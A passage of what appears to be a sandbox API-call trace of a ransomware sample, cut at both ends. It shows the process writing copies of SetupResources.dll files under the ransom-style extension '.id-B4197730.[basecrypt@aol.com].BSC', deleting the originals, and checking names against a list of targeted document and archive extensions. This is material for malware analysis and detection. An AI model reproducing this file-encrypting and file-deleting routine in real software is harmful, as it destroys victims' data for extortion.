hFile=0x34c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x4760, lpOverlapped=0x0) returned 1 [0101.667] ReadFile (in: hFile=0x348, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0101.667] WriteFile (in: hFile=0x34c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xf8, lpOverlapped=0x0) returned 1 [0101.667] SetEndOfFile (hFile=0x34c) returned 1 [0101.667] CloseHandle (hObject=0x34c) returned 1 [0101.669] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.669] SetEndOfFile (hFile=0x348) returned 1 [0101.671] CloseHandle (hObject=0x348) returned 1 [0101.671] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0101.672] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1029\\setupresources.dll")) returned 1 [0101.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.672] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.672] lstrlenW (lpString=".doc") returned 4 [0101.672] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.672] lstrlenW (lpString=".docx") returned 5 [0101.672] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.672] lstrlenW (lpString=".pdf") returned 4 [0101.672] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.672] lstrlenW (lpString=".xls") returned 4 [0101.672] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.672] lstrlenW (lpString=".xlsx") returned 5 [0101.672] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.672] lstrlenW (lpString=".ppt") returned 4 [0101.672] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.673] lstrlenW (lpString=".zip") returned 4 [0101.673] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.673] lstrlenW (lpString=".rar") returned 4 [0101.673] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.673] lstrlenW (lpString=".bz2") returned 4 [0101.673] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.673] lstrlenW (lpString=".7z") returned 3 [0101.673] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.673] lstrlenW (lpString=".dbf") returned 4 [0101.673] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.673] lstrlenW (lpString=".1cd") returned 4 [0101.673] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.673] lstrlenW (lpString=".jpg") returned 4 [0101.673] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.673] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.673] lstrlenW (lpString=".doc") returned 4 [0101.673] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0101.674] lstrlenW (lpString=".docx") returned 5 [0101.674] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0101.674] lstrlenW (lpString=".pdf") returned 4 [0101.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0101.674] lstrlenW (lpString=".xls") returned 4 [0101.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0101.674] lstrlenW (lpString=".xlsx") returned 5 [0101.674] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0101.674] lstrlenW (lpString=".ppt") returned 4 [0101.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0101.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.674] lstrlenW (lpString=".zip") returned 4 [0101.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0101.674] lstrlenW (lpString=".rar") returned 4 [0101.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0101.674] lstrlenW (lpString=".bz2") returned 4 [0101.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0101.674] lstrlenW (lpString=".7z") returned 3 [0101.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0101.674] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.674] lstrlenW (lpString=".dbf") returned 4 [0101.674] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0101.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.675] lstrlenW (lpString=".1cd") returned 4 [0101.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0101.675] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\SetupResources.dll") returned 45 [0101.675] lstrlenW (lpString=".jpg") returned 4 [0101.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0101.675] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0101.675] lstrlenW (lpString="SetupResources.dll") returned 18 [0101.675] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.685] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=18264) returned 1 [0101.685] CloseHandle (hObject=0x328) returned 1 [0101.685] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 0x80 [0101.685] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0101.685] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0101.685] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.686] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0101.686] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0101.686] GetLastError () returned 0x0 [0101.686] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x4758, lpOverlapped=0x0) returned 1 [0102.208] WriteFile (in: hFile=0x344, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x4760, lpOverlapped=0x0) returned 1 [0102.209] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.209] WriteFile (in: hFile=0x344, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.209] SetEndOfFile (hFile=0x344) returned 1 [0102.210] CloseHandle (hObject=0x344) returned 1 [0102.211] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.211] SetEndOfFile (hFile=0x328) returned 1 [0102.212] CloseHandle (hObject=0x328) returned 1 [0102.212] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.212] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll")) returned 1 [0102.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.213] lstrlenW (lpString=".doc") returned 4 [0102.213] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.213] lstrlenW (lpString=".docx") returned 5 [0102.213] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.213] lstrlenW (lpString=".pdf") returned 4 [0102.213] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.213] lstrlenW (lpString=".xls") returned 4 [0102.213] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.213] lstrlenW (lpString=".xlsx") returned 5 [0102.213] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.213] lstrlenW (lpString=".ppt") returned 4 [0102.213] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.213] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.213] lstrlenW (lpString=".zip") returned 4 [0102.213] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.213] lstrlenW (lpString=".rar") returned 4 [0102.213] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.213] lstrlenW (lpString=".bz2") returned 4 [0102.214] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.214] lstrlenW (lpString=".7z") returned 3 [0102.214] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.214] lstrlenW (lpString=".dbf") returned 4 [0102.214] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.214] lstrlenW (lpString=".1cd") returned 4 [0102.214] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.214] lstrlenW (lpString=".jpg") returned 4 [0102.214] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.214] lstrlenW (lpString=".doc") returned 4 [0102.214] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.214] lstrlenW (lpString=".docx") returned 5 [0102.214] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.214] lstrlenW (lpString=".pdf") returned 4 [0102.214] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.214] lstrlenW (lpString=".xls") returned 4 [0102.214] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.214] lstrlenW (lpString=".xlsx") returned 5 [0102.214] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.214] lstrlenW (lpString=".ppt") returned 4 [0102.214] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.214] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.215] lstrlenW (lpString=".zip") returned 4 [0102.215] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.215] lstrlenW (lpString=".rar") returned 4 [0102.215] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.215] lstrlenW (lpString=".bz2") returned 4 [0102.215] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.215] lstrlenW (lpString=".7z") returned 3 [0102.215] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.215] lstrlenW (lpString=".dbf") returned 4 [0102.215] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.215] lstrlenW (lpString=".1cd") returned 4 [0102.215] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.215] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\SetupResources.dll") returned 45 [0102.215] lstrlenW (lpString=".jpg") returned 4 [0102.215] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.216] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.216] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.216] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=18776) returned 1 [0102.216] CloseHandle (hObject=0x328) returned 1 [0102.216] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 0x80 [0102.216] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.216] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.217] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.217] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0102.431] GetLastError () returned 0x0 [0102.431] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x4958, lpOverlapped=0x0) returned 1 [0102.728] WriteFile (in: hFile=0x314, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x4960, lpOverlapped=0x0) returned 1 [0102.730] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.730] WriteFile (in: hFile=0x314, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.730] SetEndOfFile (hFile=0x314) returned 1 [0102.730] CloseHandle (hObject=0x314) returned 1 [0102.731] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.731] SetEndOfFile (hFile=0x328) returned 1 [0102.732] CloseHandle (hObject=0x328) returned 1 [0102.732] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.733] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1036\\setupresources.dll")) returned 1 [0102.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.733] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.733] lstrlenW (lpString=".doc") returned 4 [0102.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.733] lstrlenW (lpString=".docx") returned 5 [0102.733] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.734] lstrlenW (lpString=".pdf") returned 4 [0102.734] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.734] lstrlenW (lpString=".xls") returned 4 [0102.734] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.734] lstrlenW (lpString=".xlsx") returned 5 [0102.734] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.734] lstrlenW (lpString=".ppt") returned 4 [0102.734] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.734] lstrlenW (lpString=".zip") returned 4 [0102.734] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.734] lstrlenW (lpString=".rar") returned 4 [0102.734] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.734] lstrlenW (lpString=".bz2") returned 4 [0102.734] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.734] lstrlenW (lpString=".7z") returned 3 [0102.734] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.734] lstrlenW (lpString=".dbf") returned 4 [0102.734] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.734] lstrlenW (lpString=".1cd") returned 4 [0102.734] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.734] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.734] lstrlenW (lpString=".jpg") returned 4 [0102.734] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.735] lstrlenW (lpString=".doc") returned 4 [0102.735] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.735] lstrlenW (lpString=".docx") returned 5 [0102.735] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.735] lstrlenW (lpString=".pdf") returned 4 [0102.735] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.735] lstrlenW (lpString=".xls") returned 4 [0102.735] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.735] lstrlenW (lpString=".xlsx") returned 5 [0102.735] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.735] lstrlenW (lpString=".ppt") returned 4 [0102.735] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.735] lstrlenW (lpString=".zip") returned 4 [0102.735] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.735] lstrlenW (lpString=".rar") returned 4 [0102.735] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.735] lstrlenW (lpString=".bz2") returned 4 [0102.735] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.735] lstrlenW (lpString=".7z") returned 3 [0102.735] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.735] lstrlenW (lpString=".dbf") returned 4 [0102.735] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.735] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.735] lstrlenW (lpString=".1cd") returned 4 [0102.736] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.736] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0102.736] lstrlenW (lpString=".jpg") returned 4 [0102.736] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.736] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.736] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.736] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.736] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x317ff14 | out: lpFileSize=0x317ff14*=17752) returned 1 [0102.736] CloseHandle (hObject=0x328) returned 1 [0102.737] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0102.737] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.737] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.737] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.743] GetLastError () returned 0x0 [0102.744] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x4558, lpOverlapped=0x0) returned 1 [0102.866] WriteFile (in: hFile=0x34c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0x4560, lpOverlapped=0x0) returned 1 [0102.868] ReadFile (in: hFile=0x328, lpBuffer=0x3d3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x317fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesRead=0x317fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.868] WriteFile (in: hFile=0x34c, lpBuffer=0x3d3b020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x317fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d3b020*, lpNumberOfBytesWritten=0x317fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.868] SetEndOfFile (hFile=0x34c) returned 1 [0102.868] CloseHandle (hObject=0x34c) returned 1 [0102.869] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x317fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.869] SetEndOfFile (hFile=0x328) returned 1 [0102.870] CloseHandle (hObject=0x328) returned 1 [0102.870] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.870] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0102.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.870] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.870] lstrlenW (lpString=".doc") returned 4 [0102.870] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.870] lstrlenW (lpString=".docx") returned 5 [0102.870] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.870] lstrlenW (lpString=".pdf") returned 4 [0102.871] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.871] lstrlenW (lpString=".xls") returned 4 [0102.871] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.871] lstrlenW (lpString=".xlsx") returned 5 [0102.871] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.871] lstrlenW (lpString=".ppt") returned 4 [0102.871] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.871] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0102.871] lstrlenW (lpString=".zip") returned 4 [0102.871] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.871] lstrlenW (lpString=".rar") returned 4 [0102.871] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.871] lstrlenW (lpString=".bz2") returned 4 [0102.871] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.871] lstrlenW (lpString=".7z") returned 3 [0102.871] 